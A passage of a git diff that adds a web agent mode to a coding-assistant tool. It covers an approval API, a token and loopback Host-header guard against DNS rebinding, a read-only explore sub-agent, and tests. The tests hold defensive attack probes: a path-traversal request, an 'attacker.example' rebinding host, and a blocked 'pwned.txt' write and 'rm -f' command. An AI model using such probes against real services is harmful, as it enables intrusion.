@router.post("/sessions/{session_id}/approvals/{approval_id}") + def answer_approval( + session_id: str, approval_id: str, body: ApprovalAnswer, service: AgentService = Depends(get_service) + ) -> dict[str, Any]: + live = service.live.get(session_id) + future = live.approvals.get(approval_id) if live else None + if future is None or future.done(): + raise HTTPException(404, "no pending approval with that id") + future.get_loop().call_soon_threadsafe(_resolve, future, body.answer) + return {"ok": True} + + return router + + +def _resolve(future: asyncio.Future, answer: str) -> None: + if not future.done(): + future.set_result(answer) diff --git a/src/cli.py b/src/cli.py index 8f7521f..8e25dec 100755 --- a/src/cli.py +++ b/src/cli.py @@ -32,14 +32,21 @@ def serve_main(argv: list[str]) -> int: parser.add_argument( "--allow-remote", action="store_true", - help="Allow binding a non-loopback address. The chat API has no authentication, so anyone who can reach it uses your credentials.", + help=( + "Allow binding a non-loopback address. The API is guarded only by a token embedded in the page, " + "so anyone who can load the page can use your credentials and, in agent mode, your files." + ), ) + parser.add_argument("--root", default=".", help="Project the agent mode works in (default: the current directory).") + parser.add_argument("--sandbox", choices=["auto", "on", "off"], default="auto", help="Shell sandbox for agent mode (default: auto).") args = parser.parse_args(argv) if not args.allow_remote and not is_loopback_host(args.host): parser.error(f"--host {args.host} is not a loopback address; the chat API has no authentication. Pass --allow-remote to bind it anyway.") + if not Path(args.root).is_dir(): + parser.error(f"--root {args.root} is not a directory") from src.web_server import run - run(host=args.host, port=args.port) + run(host=args.host, port=args.port, root=args.root, sandbox=args.sandbox, allow_remote=args.allow_remote) return 0 @@ -62,6 +69,7 @@ def agent_parser() -> argparse.ArgumentParser: parser.add_argument("--no-project-files", action="store_true", help="Leave CLAUDE.md and AGENTS.md out of a new session's system prompt.") parser.add_argument("--no-fallbacks", action="store_true", help="Turn off the server-side refusal fallback.") parser.add_argument("--no-memory", action="store_true", help="Start a session without the memory tool (.cod/memory/).") + parser.add_argument("--no-explore", action="store_true", help="Start a session without the read-only explore sub-agent.") parser.add_argument( "--sandbox", choices=["auto", "on", "off"], default="auto", help="Run shell commands under bubblewrap: auto uses it when installed, on requires it (default: auto).", @@ -104,7 +112,10 @@ def agent_main(argv: list[str], client=None, stdin=None, stdout=None, stderr=Non session = Session.find(root, args.resume) else: system_prompt = build_agent_prompt(root, include_project_files=not args.no_project_files) - session = Session.create(root, args.model or DEFAULT_MODEL, system_prompt, memory_tool=not args.no_memory) + session = Session.create( + root, args.model or DEFAULT_MODEL, system_prompt, + memory_tool=not args.no_memory, explore_tool=not args.no_explore, + ) mode = "allow-all" if args.allow_all else "accept-edits" if args.accept_edits else "default" policy = PermissionPolicy.from_settings(root, mode) toolbox = Toolbox(root, sandbox=args.sandbox, memory=session.memory_tool) diff --git a/src/web_server.py b/src/web_server.py index 2dca200..1270049 100755 --- a/src/web_server.py +++ b/src/web_server.py @@ -8,23 +8,34 @@ browser: the Anthropic client resolves them on the server (`ANTHROPIC_API_KEY`, `ANTHROPIC_AUTH_TOKEN`, or an `ant auth login` profile), and `ANTHROPIC_BASE_URL` points it at a gateway such as the local credential proxy. -The browser owns the conversation history and sends it back each turn. The -server only ever appends to it, so prompt caching and preserved thinking keep -working: assistant turns are echoed back exactly as the API returned them. +In chat mode the browser owns the conversation history and sends it back each +turn. The server only ever appends to it, so prompt caching and preserved +thinking keep working: assistant turns are echoed back exactly as the API +returned them. Agent mode (`src/agent/web.py`) runs the coding agent on the +project root instead, with sessions kept on the server. + +Two checks guard the API, since it spends the user's credits and agent mode +touches their files. Every `/api/` request must name a loopback host in its +`Host` header, which defeats DNS rebinding, and every POST must carry the +token embedded in the served page as `X-Cod-Token`, which another site can't +read or send. """ +import hmac import json import logging import os from pathlib import Path +import secrets from typing import Any, AsyncIterator, Literal import anthropic -from fastapi import Depends, FastAPI -from fastapi.responses import HTMLResponse, StreamingResponse +from fastapi import Depends, FastAPI, Request +from fastapi.responses import HTMLResponse, JSONResponse, StreamingResponse from pydantic import BaseModel, Field, field_validator, model_validator from src.agent.models import DEFAULT_MODEL, EFFORT_LEVELS, FALLBACK_BETA, MODELS, fallback_params, history_content from src.agent.prompt import project_files_block +from src.agent.web import AgentService, AgentSettings, build_router logger = logging.getLogger("cod.web") @@ -189,13 +200,49 @@ async def stream_chat_events(client: anthropic.AsyncAnthropic, params: dict[str, yield _sse("error", {"status": None, "message": NOT_SENT_MESSAGE}) +# A new token per process; the page gets it embedded and sends it back. +API_TOKEN = secrets.token_urlsafe(32) +TOKEN_PLACEHOLDER = "__COD_API_TOKEN__" +LOOPBACK_HOSTS = {"127.0.0.1", "localhost", "::1"} + app = FastAPI(title="cod.ai web chat", version="0.2.0") +# None turns the Host check off (`cod serve --allow-remote`). +app.state.allowed_hosts = set(LOOPBACK_HOSTS) +app.state.agent_service = AgentService(AgentSettings(root=Path.cwd())) + + +def request_hostname(request: Request) -> str: + host = request.headers.get("host", "") + if host.startswith("["): + return host[1:].split("]", 1)[0] + return host.rsplit(":", 1)[0] if host.count(":") == 1 else host + + +@app.middleware("http") +async def guard_api(request: Request, call_next): + if request.url.path.startswith("/api/"): + allowed = request.app.state.allowed_hosts + if allowed is not None and request_hostname(request) not in allowed: + return JSONResponse({"detail": "this server only answers requests addressed to localhost"}, status_code=421) + if request.method == "POST": + token = request.headers.get("x-cod-token", "") + if not hmac.compare_digest(token, API_TOKEN): + return JSONResponse({"detail": "missing or invalid X-Cod-Token; reload the page"}, status_code=403) + return await call_next(request) + + +def get_agent_service() -> AgentService: + return app.state.agent_service + + +app.include_router(build_router(get_agent_service)) @app.get("/", response_class=HTMLResponse) def serve_index() -> HTMLResponse: if WEB_INDEX_PATH.is_file(): - return HTMLResponse(WEB_INDEX_PATH.read_text(encoding="utf-8")) + page = WEB_INDEX_PATH.read_text(encoding="utf-8").replace(TOKEN_PLACEHOLDER, API_TOKEN) + return HTMLResponse(page, headers={"Cache-Control": "no-store"}) return HTMLResponse("

    cod.ai web GUI not found

    ", status_code=404) @@ -207,6 +254,7 @@ def get_config() -> dict[str, Any]: "effort_levels": list(EFFORT_LEVELS), "thinking_displays": list(THINKING_DISPLAYS), "project_context": SYSTEM_PROMPT != BASE_SYSTEM_PROMPT, + "agent_root": str(app.state.agent_service.settings.root), } @@ -220,9 +268,18 @@ def chat(req: ChatRequest, client: anthropic.AsyncAnthropic = Depends(get_client ) -def run(host: str = "127.0.0.1", port: int = 8642) -> None: +def run( + host: str = "127.0.0.1", + port: int = 8642, + root: str | Path | None = None, + sandbox: Literal["auto", "on", "off"] = "auto", + allow_remote: bool = False, +) -> None: import uvicorn + app.state.agent_service = AgentService(AgentSettings(root=Path(root or Path.cwd()).resolve(), sandbox=sandbox)) + if allow_remote: + app.state.allowed_hosts = None uvicorn.run(app, host=host, port=port) diff --git a/tests/test_agent.py b/tests/test_agent.py index d180a5f..63f8218 100644 --- a/tests/test_agent.py +++ b/tests/test_agent.py @@ -123,6 +123,8 @@ class ToolTests(TempProject): def test_tool_definitions_stream_eagerly(self): tools = api_tool_definitions() self.assertEqual([t["name"] for t in tools], ["read_file", "write_file", "edit_file", "glob", "grep", "bash", "memory"]) + with_explore = [t["name"] for t in api_tool_definitions(explore=True)] + self.assertEqual(with_explore[-2:], ["explore", "memory"]) self.assertTrue(all(t["eager_input_streaming"] for t in tools[:-1])) self.assertTrue(all(t["input_schema"]["additionalProperties"] is False for t in tools[:-1])) # The memory tool's schema belongs to the API: it is sent by type only. @@ -338,7 +340,7 @@ class EngineTests(TempProject): self.assertEqual(params["context_management"], {"edits": [ {"type": "compact_20260112", "trigger": {"type": "input_tokens", "value": 150_000}}, ]}) - self.assertEqual(params["tools"], api_tool_definitions()) + self.assertEqual(params["tools"], api_tool_definitions(explore=True)) self.assertNotIn("tool_choice", params) self.assertEqual(params["messages"], [{"role": "user", "content": "Hello"}]) @@ -477,6 +479,46 @@ class EngineTests(TempProject): self.assertNotIn("context_management", client.calls[0]) self.assertNotIn("betas", client.calls[0]) + def test_explore_runs_a_read_only_sub_agent(self): + self.write("src/auth.py", "def login():\n return check_token()\n") + client = FakeClient( + # Parent: delegate. + make_message([tool_use("p1", "explore", {"task": "Where is login defined?"})], stop_reason="tool_use"), + # Explorer: tries a write (denied), then greps, then reports. + make_message([tool_use("e1", "write_file", {"path": "pwned.txt", "content": "x"}), tool_use("e2", "grep", {"pattern": "def login"})], stop_reason="tool_use"), + make_message([{"type": "text", "text": "login is defined at src/auth.py:1."}]), + # Parent: final answer. + make_message([{"type": "text", "text": "It's in src/auth.py."}]), + ) + agent = self.make_agent(client) + events = self.run_turn(agent, "Find login") + explore_output = [e for e in events if isinstance(e, ToolOutput)][0] + self.assertEqual(explore_output.name, "explore") + self.assertFalse(explore_output.is_error) + self.assertEqual(explore_output.content, "login is defined at src/auth.py:1.") + self.assertFalse((self.root / "pwned.txt").exists()) + + parent_first, sub_first, sub_second, parent_second = client.calls + self.assertEqual([t["name"] for t in sub_first["tools"]], ["read_file", "glob", "grep"]) + self.assertIn("read-only code explorer", sub_first["system"]) + self.assertEqual(sub_first["messages"], [{"role": "user", "content": "Where is login defined?"}]) + blocked = sub_second["messages"][-1]["content"][0] + self.assertEqual((blocked["tool_use_id"], blocked["is_error"], blocked["content"]), ("e1", True, engine.BLOCKED_MESSAGE)) + self.assertIn("src/auth.py:1", sub_second["messages"][-1]["content"][1]["content"]) + # The parent's history holds only the report, and the turn's usage includes the explorer's. + self.assertEqual(parent_second["messages"][-1]["content"][0]["content"], "login is defined at src/auth.py:1.") + self.assertEqual(events[-1].usage["input_tokens"], 12 * 4) + self.assertEqual(len(self.session.messages), 4) + + def test_explore_rejects_bad_input(self): + client = FakeClient( + make_message([tool_use("p1", "explore", {"task": " "})], stop_reason="tool_use"), + make_message([{"type": "text", "text": "ok"}]), + ) + outputs = [e for e in self.run_turn(self.make_agent(client)) if isinstance(e, ToolOutput)] + self.assertTrue(outputs[0].is_error) + self.assertEqual(len(client.calls), 2) + def test_haiku_has_no_fallbacks(self): client = FakeClient(make_message([{"type": "text", "text": "ok"}], model="claude-haiku-5-5")) self.run_turn(self.make_agent(client, model="claude-haiku-5-5", effort="low")) @@ -554,8 +596,8 @@ class CliTests(TempProject): def test_no_memory_and_compaction_flags(self): client = FakeClient(make_message([{"type": "text", "text": "ok"}])) - self.cod("-p", "x", "--no-memory", "--no-compact", client=client) - self.assertNotIn("memory", [t["name"] for t in client.calls[0]["tools"]]) + self.cod("-p", "x", "--no-memory", "--no-explore", "--no-compact", client=client) + self.assertEqual([t["name"] for t in client.calls[0]["tools"]][-1], "bash") self.assertNotIn("context_management", client.calls[0]) # A resumed session keeps the tool list it started with. client = FakeClient(make_message([{"type": "text", "text": "ok"}])) diff --git a/tests/test_agent_web.py b/tests/test_agent_web.py new file mode 100644 index 0000000..1f435cc --- /dev/null +++ b/tests/test_agent_web.py @@ -0,0 +1,171 @@ +"""Tests for the web GUI's agent mode (`src/agent/web.py`), against a fake Anthropic client.""" +import json +from pathlib import Path +import socket +import sys +import tempfile +import threading +import time +import unittest + +WORKSPACE = Path(__file__).resolve().parent.parent +sys.path.insert(0, str(WORKSPACE)) + +import httpx2 +import uvicorn +from fastapi.testclient import TestClient + +from fakes import FakeClient, make_message, tool_use +from src import web_server +from src.agent.session import Session +from src.agent.web import AgentService, AgentSettings + + +def sse_events(lines): + """Yields (event, data) from an iterator of SSE lines.""" + event = None + for line in lines: + if line.startswith("event: "): + event = line[len("event: "):] + elif line.startswith("data: "): + yield event, json.loads(line[len("data: "):]) + + +class AgentWebTests(unittest.TestCase): + def setUp(self): + self._tmp = tempfile.TemporaryDirectory() + self.root = Path(self._tmp.name).resolve() + self._saved_service = web_server.app.state.agent_service + web_server.app.state.agent_service = AgentService(AgentSettings(root=self.root, sandbox="off")) + self.http = TestClient(web_server.app, base_url="http://127.0.0.1:8642", headers={"X-Cod-Token": web_server.API_TOKEN}) + + def tearDown(self): + web_server.app.state.agent_service = self._saved_service + web_server.app.dependency_overrides.clear() + self._tmp.cleanup() + + + def start(self, fake, **body): + web_server.app.state.agent_service.client = lambda: fake + resp = self.http.post("/api/agent/sessions", json=body) + self.assertEqual(resp.status_code, 200, resp.text) + return resp.json()["id"] + + def turn(self, session_id, prompt): + resp = self.http.post(f"/api/agent/sessions/{session_id}/turns", json={"prompt": prompt}) + self.assertEqual(resp.status_code, 200) + return list(sse_events(resp.text.splitlines())) + + def test_turn_streams_events_and_saves_the_session(self): + (self.root / "a.txt").write_text("hello\n", encoding="utf-8") + fake = FakeClient( + make_message([{"type": "text", "text": "Reading."}, tool_use("t1", "read_file", {"path": "a.txt"})], stop_reason="tool_use"), + make_message([{"type": "text", "text": "It says hello."}]), + ) + session_id = self.start(fake, effort="high") + events = self.turn(session_id, "What's in a.txt?") + names = [e for e, _ in events] + self.assertEqual(names[0], "start") + self.assertIn("tool_call", names) + self.assertEqual(names[-1], "done") + output = [d for e, d in events if e == "tool_output"][0] + self.assertIn("hello", output["content"]) + self.assertEqual(fake.calls[0]["output_config"], {"effort": "high"}) + session = Session.find(self.root, session_id) + self.assertEqual(session.messages[0], {"role": "user", "content": "What's in a.txt?"}) + self.assertEqual(len(session.messages), 4) + + def live_server(self): + """Runs the app on a real port: TestClient buffers whole responses, so it can't answer mid-stream.""" + with socket.socket() as sock: + sock.bind(("127.0.0.1", 0)) + port = sock.getsockname()[1] + server = uvicorn.Server(uvicorn.Config(web_server.app, host="127.0.0.1", port=port, log_level="warning")) + thread = threading.Thread(target=server.run, daemon=True) + thread.start() + deadline = time.time() + 10 + while not server.started and time.time() < deadline: + time.sleep(0.02) + self.addCleanup(thread.join, 5) + self.addCleanup(setattr, server, "should_exit", True) + return httpx2.Client(base_url=f"http://127.0.0.1:{port}", headers={"X-Cod-Token": web_server.API_TOKEN}, timeout=10) + + def test_approvals_come_from_the_browser(self): + fake = FakeClient( + make_message([tool_use("t1", "write_file", {"path": "new.txt", "content": "made"})], stop_reason="tool_use"), + make_message([tool_use("t2", "bash", {"command": "rm -f new.txt"})], stop_reason="tool_use"), + make_message([{"type": "text", "text": "Done."}]), + ) + session_id = self.start(fake) + answers = iter(["yes", "no"]) + approvals = [] + events = [] + with self.live_server() as http: + with http.stream("POST", f"/api/agent/sessions/{session_id}/turns", json={"prompt": "Make a file"}) as resp: + self.assertEqual(resp.status_code, 200) + for event, data in sse_events(resp.iter_lines()): + events.append((event, data)) + if event == "approval": + approvals.append(data) + answered = http.post(f"/api/agent/sessions/{session_id}/approvals/{data['id']}", json={"answer": next(answers)}) + self.assertEqual(answered.status_code, 200) + self.assertEqual([a["name"] for a in approvals], ["write_file", "bash"]) + self.assertEqual(approvals[0]["details"]["preview"], "made") + outcomes = [d["outcome"] for e, d in events if e == "tool_output"] + self.assertEqual(outcomes, ["ran", "denied"]) + self.assertEqual((self.root / "new.txt").read_text(), "made") + # Answering twice, or an unknown id, is a 404. + self.assertEqual(self.http.post(f"/api/agent/sessions/{session_id}/approvals/{approvals[0]['id']}", json={"answer": "yes"}).status_code, 404) + + def test_closing_the_stream_stops_the_turn(self): + fake = FakeClient(make_message([tool_use("t1", "bash", {"command": "touch never.txt"})], stop_reason="tool_use")) + session_id = self.start(fake) + with self.live_server() as http: + with http.stream("POST", f"/api/agent/sessions/{session_id}/turns", json={"prompt": "go"}) as resp: + for event, _ in sse_events(resp.iter_lines()): + if event == "approval": + break + live = web_server.app.state.agent_service.live[session_id] + deadline = time.time() + 5 + while live.busy and time.time() < deadline: + time.sleep(0.02) + self.assertFalse(live.busy) + self.assertFalse((self.root / "never.txt").exists()) + last = Session.find(self.root, session_id).messages[-1]["content"][0] + self.assertEqual((last["type"], last["tool_use_id"], last["is_error"]), ("tool_result", "t1", True)) + + def test_accept_edits_mode_skips_edit_approvals(self): + fake = FakeClient( + make_message([tool_use("t1", "write_file", {"path": "x.txt", "content": "x"})], stop_reason="tool_use"), + make_message([{"type": "text", "text": "ok"}]), + ) + session_id = self.start(fake, mode="accept-edits") + events = self.turn(session_id, "go") + self.assertNotIn("approval", [e for e, _ in events]) + self.assertTrue((self.root / "x.txt").exists()) + + def test_sessions_resume_after_a_restart(self): + fake = FakeClient(make_message([{"type": "text", "text": "one"}])) + session_id = self.start(fake) + self.turn(session_id, "first") + web_server.app.state.agent_service = AgentService(AgentSettings(root=self.root, sandbox="off")) + fake2 = FakeClient(make_message([{"type": "text", "text": "two"}])) + web_server.app.state.agent_service.client = lambda: fake2 + self.turn(session_id, "second") + self.assertEqual([m["role"] for m in fake2.calls[0]["messages"]], ["user", "assistant", "user"]) + + def test_bad_requests(self): + fake = FakeClient(make_message([{"type": "text", "text": "ok"}])) + self.assertEqual(self.http.post("/api/agent/sessions", json={"model": "gpt-4o"}).status_code, 422) + self.assertEqual(self.http.post("/api/agent/sessions", json={"mode": "allow-all"}).status_code, 422) + self.assertEqual(self.http.post("/api/agent/sessions/../../etc/turns", json={"prompt": "x"}).status_code, 404) + self.assertEqual(self.http.post("/api/agent/sessions/20260101-000000-abcdef/turns", json={"prompt": "x"}).status_code, 404) + session_id = self.start(fake) + self.assertEqual(self.http.post(f"/api/agent/sessions/{session_id}/turns", json={"prompt": ""}).status_code, 422) + no_token = TestClient(web_server.app, base_url="http://127.0.0.1:8642") + self.assertEqual(no_token.post(f"/api/agent/sessions/{session_id}/turns", json={"prompt": "x"}).status_code, 403) + self.assertEqual(fake.calls, []) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_web_server.py b/tests/test_web_server.py index 0e46510..bc4d271 100644 --- a/tests/test_web_server.py +++ b/tests/test_web_server.py @@ -27,7 +27,7 @@ def parse_sse(body): class WebServerTests(unittest.TestCase): def setUp(self): - self.http = TestClient(web_server.app) + self.http = TestClient(web_server.app, base_url="http://127.0.0.1:8642", headers={"X-Cod-Token": web_server.API_TOKEN}) def tearDown(self): web_server.app.dependency_overrides.clear() @@ -167,6 +167,26 @@ class WebServerTests(unittest.TestCase): with self.subTest(body=body): self.assertEqual(self.chat(**body).status_code, 422) + def test_page_carries_the_api_token(self): + page = self.http.get("/").text + self.assertIn(web_server.API_TOKEN, page) + self.assertNotIn(web_server.TOKEN_PLACEHOLDER, page) + + def test_posts_need_the_token_and_a_loopback_host(self): + fake = self.use(FakeClient(make_message([{"type": "text", "text": "unused"}]))) + body = {"messages": [{"role": "user", "content": "Hi"}]} + no_token = TestClient(web_server.app, base_url="http://127.0.0.1:8642") + self.assertEqual(no_token.post("/api/chat", json=body).status_code, 403) + self.assertEqual(no_token.post("/api/chat", json=body, headers={"X-Cod-Token": "guess"}).status_code, 403) + # A rebound DNS name pointing at 127.0.0.1 still sends its own Host header. + rebound = TestClient(web_server.app, base_url="http://attacker.example:8642", headers={"X-Cod-Token": web_server.API_TOKEN}) + self.assertEqual(rebound.post("/api/chat", json=body).status_code, 421) + self.assertEqual(rebound.get("/api/config").status_code, 421) + self.assertEqual(fake.calls, []) + for host in ("localhost", "[::1]"): + client = TestClient(web_server.app, base_url=f"http://{host}:8642", headers={"X-Cod-Token": web_server.API_TOKEN}) + self.assertEqual(client.get("/api/config").status_code, 200) + def test_system_prompt_includes_project_files(self): self.assertTrue(web_server.SYSTEM_PROMPT.startswith(web_server.BASE_SYSTEM_PROMPT)) self.assertIn('', web_server.SYSTEM_PROMPT) diff --git a/web/index.html b/web/index.html index 3ec2b9a..10fdd37 100644 --- a/web/index.html +++ b/web/index.html @@ -3,6 +3,7 @@ + cod.ai chat @@ -174,6 +175,29 @@ } .notice.error { border-left: 3px solid var(--accent-fig); } .meta { font: 12px/1.4 var(--font-mono); color: var(--text-muted); margin-top: 4px; } + + /* Agent tool calls */ + .tool { + margin: 0 0 12px; border: 1px solid var(--border-hairline); border-radius: 12px; + background: var(--bg-surface-soft); font: 13px/1.5 var(--font-ui); overflow: hidden; + } + .tool .head { display: flex; gap: 8px; align-items: baseline; padding: 8px 12px; } + .tool .name { font-weight: 600; color: var(--text-ink); } + .tool .summary { font-family: var(--font-mono); font-size: 12.5px; color: var(--text-body); overflow-wrap: anywhere; white-space: pre-wrap; } + .tool .state { margin-left: auto; color: var(--text-muted); font-size: 12px; white-space: nowrap; } + .tool.error .state { color: var(--accent-fig); } + .tool details { border-top: 1px solid var(--border-hairline); } + .tool details summary { padding: 6px 12px; color: var(--text-muted); cursor: pointer; font-size: 12px; } + .tool pre { + margin: 0; padding: 0 12px 10px; max-height: 320px; overflow: auto; + font: 12px/1.5 var(--font-mono); white-space: pre-wrap; overflow-wrap: anywhere; color: var(--text-body); + } + .tool .approve { border-top: 1px solid var(--border-hairline); padding: 10px 12px; background: var(--bg-surface-card); } + .tool .approve .question { margin-bottom: 8px; color: var(--text-ink); } + .tool .approve .diff { margin: 0 0 8px; font: 12px/1.5 var(--font-mono); white-space: pre-wrap; max-height: 240px; overflow: auto; } + .tool .approve .diff .del { color: var(--accent-fig); } + .tool .approve .diff .add { color: var(--accent-olive); } + .tool .approve .buttons { display: flex; gap: 8px; flex-wrap: wrap; } .cursor::after { content: "▍"; color: var(--accent-primary); animation: blink 1s steps(2) infinite; } @keyframes blink { 50% { opacity: 0; } } @@ -236,6 +260,11 @@
    +